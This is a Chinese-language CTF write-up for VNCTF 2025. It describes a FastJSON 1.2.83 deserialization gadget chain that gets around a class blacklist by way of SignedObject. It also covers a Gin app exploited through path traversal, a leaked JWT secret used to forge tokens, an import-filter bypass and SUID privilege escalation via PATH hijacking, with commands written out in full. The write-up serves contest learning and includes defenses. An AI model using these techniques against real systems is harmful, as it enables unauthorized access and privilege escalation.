vnctf2025 javaGuide+Gin
字数 1484 2025-08-29 08:30:24
FastJSON高版本反序列化漏洞利用与Gin框架审计实战
一、FastJSON高版本反序列化漏洞利用
1. 环境与限制条件
- Spring Boot 2.7 + FastJSON 1.2.83
- 黑名单过滤:
com.sun.org.apache.xalan.internal.xsltc.traxjavax.managementcom.fasterxml.jackson
- 过滤效果:
- 阻断
TemplatesImpl和BadAttributeValueExpException利用 - 阻断Jackson相关的
toString方法利用类
- 阻断
2. 绕过思路分析
2.1 引用类型绕过
核心思路是利用黑名单中的引用(reference)类型绕过resolveClass检查:
- 通过
HotSwappableTargetSource + XString组合替代BadAttributeValueExpException触发toString
2.2 二次反序列化绕过
当直接绕过TemplatesImpl受限时,可采用SignedObject进行二次反序列化:
SignedObject.getObject()方法会再次执行反序列化操作- 构造方法第一个参数传入恶意类
3. 完整利用链构造
hashMap2.readObject
-> eventListenerList.readObject
-> UndoManager.toString
-> Vector.toString
-> JSONArray1.toString
-> SignedObject.getObject
-> hashMap1.readObject
-> XString.equals
-> JSONArray.toString
-> TemplatesImpl.getOutputProperties
4. 关键代码实现
// 使用SignedObject进行二次反序列化
SignedObject signedObject = new SignedObject(恶意对象, null, null);
// 触发链构造
// 使用EventListenerList+UndoManager触发getObject
5. 调试问题解决
SignedObject本地调试报错default constructor not found解决方案:- 确保正确初始化参数
- 检查类路径和依赖版本
二、Gin框架代码审计实战
1. 目录穿越漏洞
- 发现未过滤的下载接口:
/download?filename=./config/key.go - 通过路径遍历读取敏感文件:
http://node.vnteam.cn:47191/download?filename=./config/key.go
2. JWT密钥泄露
- 从泄露的
key.go中提取JWT密钥:122r00t32l - 使用
jwt.io修改token实现越权
3. 代码执行审计
- 发现存在代码执行功能
- 过滤缺陷:仅过滤单行
import语句 - 绕过方法:使用多行
import或注释绕过
4. 提权利用
-
查找SUID程序:
find / -user root -perm /4000 2>/dev/null发现可疑程序:
/.../Cat -
环境变量劫持:
# 创建恶意cat echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat chmod +x /tmp/cat # 修改PATH export PATH=/tmp:$PATH # 执行SUID程序 /.../Cat -
读取flag注意事项:
- 避免使用被劫持的
cat - 使用
tac或完整路径/bin/cat读取
- 避免使用被劫持的
三、参考资源
-
FastJSON高版本原生利用:
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/#%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8 -
Java反序列化绕过resolveClass:
https://dummykitty.github.io/java/2023/07/24/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87-resolveClass.html -
先知社区相关文章:
- https://xz.aliyun.com/news/16045
- https://xz.aliyun.com/news/12052
- https://xz.aliyun.com/news/15977
四、防御建议
-
FastJSON防御:
- 升级到最新安全版本
- 实现更严格的反序列化过滤
- 禁用不必要的反序列化功能
-
Gin框架防御:
- 严格校验文件路径
- 加强JWT密钥保护
- 完善代码执行过滤规则
- 避免使用危险函数调用方式